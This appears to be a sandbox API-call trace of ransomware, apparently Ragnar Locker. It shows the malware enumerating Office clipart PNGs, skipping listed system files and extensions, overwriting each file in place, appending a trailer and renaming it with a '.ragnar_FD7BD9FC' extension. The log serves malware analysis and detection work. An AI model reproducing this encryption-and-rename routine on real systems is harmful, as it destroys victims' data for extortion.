1 [0088.307] GetProcessHeap () returned 0x580000 [0088.307] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.307] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.308] VirtualAlloc (lpAddress=0x0, dwSize=0x15d49, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.309] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.309] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.309] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x15d49, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x15d49, lpOverlapped=0x0) returned 1 [0088.311] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.311] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15d49, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.312] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x15d49, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x15d49, lpOverlapped=0x0) returned 1 [0088.312] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15d49, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.312] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.312] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x15d49, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.312] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.313] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.313] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.313] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.313] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.313] GetProcessHeap () returned 0x580000 [0088.313] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.313] CloseHandle (hObject=0xf4) returned 1 [0088.313] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG" [0088.313] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG.ragnar_FD7BD9FC" [0088.313] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.314] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x234c6600, ftCreationTime.dwHighDateTime=0x1c98cd2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x234c6600, ftLastWriteTime.dwHighDateTime=0x1c98cd2, nFileSizeHigh=0x0, nFileSizeLow=0x1e836, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0400003.PNG", cAlternateFileName="")) returned 1 [0088.314] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.314] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0400003.PNG" | out: lpString1="J0400003.PNG") returned="J0400003.PNG" [0088.314] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG") returned=".PNG" [0088.314] lstrcmpiW (lpString1="J0400003.PNG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.314] lstrcmpiW (lpString1="J0400003.PNG", lpString2="autorun.inf") returned 1 [0088.314] lstrcmpiW (lpString1="J0400003.PNG", lpString2="boot.ini") returned 1 [0088.314] lstrcmpiW (lpString1="J0400003.PNG", lpString2="bootfont.bin") returned 1 [0088.314] lstrcmpiW (lpString1="J0400003.PNG", lpString2="bootsect.bak") returned 1 [0088.314] lstrcmpiW (lpString1="J0400003.PNG", lpString2="bootmgr") returned 1 [0088.314] lstrcmpiW (lpString1="J0400003.PNG", lpString2="bootmgr.efi") returned 1 [0088.314] lstrcmpiW (lpString1="J0400003.PNG", lpString2="bootmgfw.efi") returned 1 [0088.314] lstrcmpiW (lpString1="J0400003.PNG", lpString2="desktop.ini") returned 1 [0088.314] lstrcmpiW (lpString1="J0400003.PNG", lpString2="iconcache.db") returned 1 [0088.314] lstrcmpiW (lpString1="J0400003.PNG", lpString2="ntldr") returned -1 [0088.314] lstrcmpiW (lpString1="J0400003.PNG", lpString2="ntuser.dat") returned -1 [0088.314] lstrcmpiW (lpString1="J0400003.PNG", lpString2="ntuser.dat.log") returned -1 [0088.314] lstrcmpiW (lpString1="J0400003.PNG", lpString2="ntuser.ini") returned -1 [0088.314] lstrcmpiW (lpString1="J0400003.PNG", lpString2="thumbs.db") returned -1 [0088.314] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0088.314] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0088.314] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0088.314] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0088.314] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0088.314] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0088.314] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0088.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png")) returned 0x20 [0088.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.315] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=124982) returned 1 [0088.315] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1e82d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.315] GetProcessHeap () returned 0x580000 [0088.315] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.315] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.316] VirtualAlloc (lpAddress=0x0, dwSize=0x1e836, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.317] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.317] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.317] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1e836, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1e836, lpOverlapped=0x0) returned 1 [0088.320] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.320] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e836, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.320] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1e836, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1e836, lpOverlapped=0x0) returned 1 [0088.321] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e836, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.321] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.321] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1e836, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.322] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.322] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.322] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.322] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.322] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.322] GetProcessHeap () returned 0x580000 [0088.322] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.322] CloseHandle (hObject=0xf4) returned 1 [0088.322] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG" [0088.322] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG.ragnar_FD7BD9FC" [0088.322] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.323] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39f2bd00, ftCreationTime.dwHighDateTime=0x1c98cd2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39f2bd00, ftLastWriteTime.dwHighDateTime=0x1c98cd2, nFileSizeHigh=0x0, nFileSizeLow=0x19a5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0400004.PNG", cAlternateFileName="")) returned 1 [0088.323] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.323] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0400004.PNG" | out: lpString1="J0400004.PNG") returned="J0400004.PNG" [0088.323] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG") returned=".PNG" [0088.323] lstrcmpiW (lpString1="J0400004.PNG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.323] lstrcmpiW (lpString1="J0400004.PNG", lpString2="autorun.inf") returned 1 [0088.323] lstrcmpiW (lpString1="J0400004.PNG", lpString2="boot.ini") returned 1 [0088.323] lstrcmpiW (lpString1="J0400004.PNG", lpString2="bootfont.bin") returned 1 [0088.323] lstrcmpiW (lpString1="J0400004.PNG", lpString2="bootsect.bak") returned 1 [0088.323] lstrcmpiW (lpString1="J0400004.PNG", lpString2="bootmgr") returned 1 [0088.323] lstrcmpiW (lpString1="J0400004.PNG", lpString2="bootmgr.efi") returned 1 [0088.323] lstrcmpiW (lpString1="J0400004.PNG", lpString2="bootmgfw.efi") returned 1 [0088.323] lstrcmpiW (lpString1="J0400004.PNG", lpString2="desktop.ini") returned 1 [0088.323] lstrcmpiW (lpString1="J0400004.PNG", lpString2="iconcache.db") returned 1 [0088.323] lstrcmpiW (lpString1="J0400004.PNG", lpString2="ntldr") returned -1 [0088.323] lstrcmpiW (lpString1="J0400004.PNG", lpString2="ntuser.dat") returned -1 [0088.323] lstrcmpiW (lpString1="J0400004.PNG", lpString2="ntuser.dat.log") returned -1 [0088.323] lstrcmpiW (lpString1="J0400004.PNG", lpString2="ntuser.ini") returned -1 [0088.323] lstrcmpiW (lpString1="J0400004.PNG", lpString2="thumbs.db") returned -1 [0088.323] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0088.323] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0088.323] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0088.323] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0088.323] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0088.323] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0088.323] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0088.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png")) returned 0x20 [0088.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.324] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=105053) returned 1 [0088.324] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x19a54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.324] GetProcessHeap () returned 0x580000 [0088.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.324] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.325] VirtualAlloc (lpAddress=0x0, dwSize=0x19a5d, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.326] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.326] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.326] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x19a5d, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x19a5d, lpOverlapped=0x0) returned 1 [0088.328] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.328] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x19a5d, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.328] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x19a5d, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x19a5d, lpOverlapped=0x0) returned 1 [0088.329] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x19a5d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.329] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.329] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x19a5d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.329] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.329] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.330] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.330] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.330] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.330] GetProcessHeap () returned 0x580000 [0088.330] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.330] CloseHandle (hObject=0xf4) returned 1 [0088.330] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG" [0088.330] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG.ragnar_FD7BD9FC" [0088.330] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.331] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82aa7600, ftCreationTime.dwHighDateTime=0x1c98cd2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82aa7600, ftLastWriteTime.dwHighDateTime=0x1c98cd2, nFileSizeHigh=0x0, nFileSizeLow=0x17742, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0400005.PNG", cAlternateFileName="")) returned 1 [0088.331] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.331] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0400005.PNG" | out: lpString1="J0400005.PNG") returned="J0400005.PNG" [0088.331] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG") returned=".PNG" [0088.331] lstrcmpiW (lpString1="J0400005.PNG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.331] lstrcmpiW (lpString1="J0400005.PNG", lpString2="autorun.inf") returned 1 [0088.331] lstrcmpiW (lpString1="J0400005.PNG", lpString2="boot.ini") returned 1 [0088.331] lstrcmpiW (lpString1="J0400005.PNG", lpString2="bootfont.bin") returned 1 [0088.331] lstrcmpiW (lpString1="J0400005.PNG", lpString2="bootsect.bak") returned 1 [0088.331] lstrcmpiW (lpString1="J0400005.PNG", lpString2="bootmgr") returned 1 [0088.331] lstrcmpiW (lpString1="J0400005.PNG", lpString2="bootmgr.efi") returned 1 [0088.331] lstrcmpiW (lpString1="J0400005.PNG", lpString2="bootmgfw.efi") returned 1 [0088.331] lstrcmpiW (lpString1="J0400005.PNG", lpString2="desktop.ini") returned 1 [0088.331] lstrcmpiW (lpString1="J0400005.PNG", lpString2="iconcache.db") returned 1 [0088.331] lstrcmpiW (lpString1="J0400005.PNG", lpString2="ntldr") returned -1 [0088.331] lstrcmpiW (lpString1="J0400005.PNG", lpString2="ntuser.dat") returned -1 [0088.331] lstrcmpiW (lpString1="J0400005.PNG", lpString2="ntuser.dat.log") returned -1 [0088.331] lstrcmpiW (lpString1="J0400005.PNG", lpString2="ntuser.ini") returned -1 [0088.331] lstrcmpiW (lpString1="J0400005.PNG", lpString2="thumbs.db") returned -1 [0088.331] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0088.331] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0088.331] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0088.331] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0088.331] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0088.331] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0088.331] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0088.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png")) returned 0x20 [0088.331] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.332] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=96066) returned 1 [0088.332] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x17739, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.332] GetProcessHeap () returned 0x580000 [0088.332] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.332] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.333] VirtualAlloc (lpAddress=0x0, dwSize=0x17742, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.333] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.333] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.333] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x17742, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, 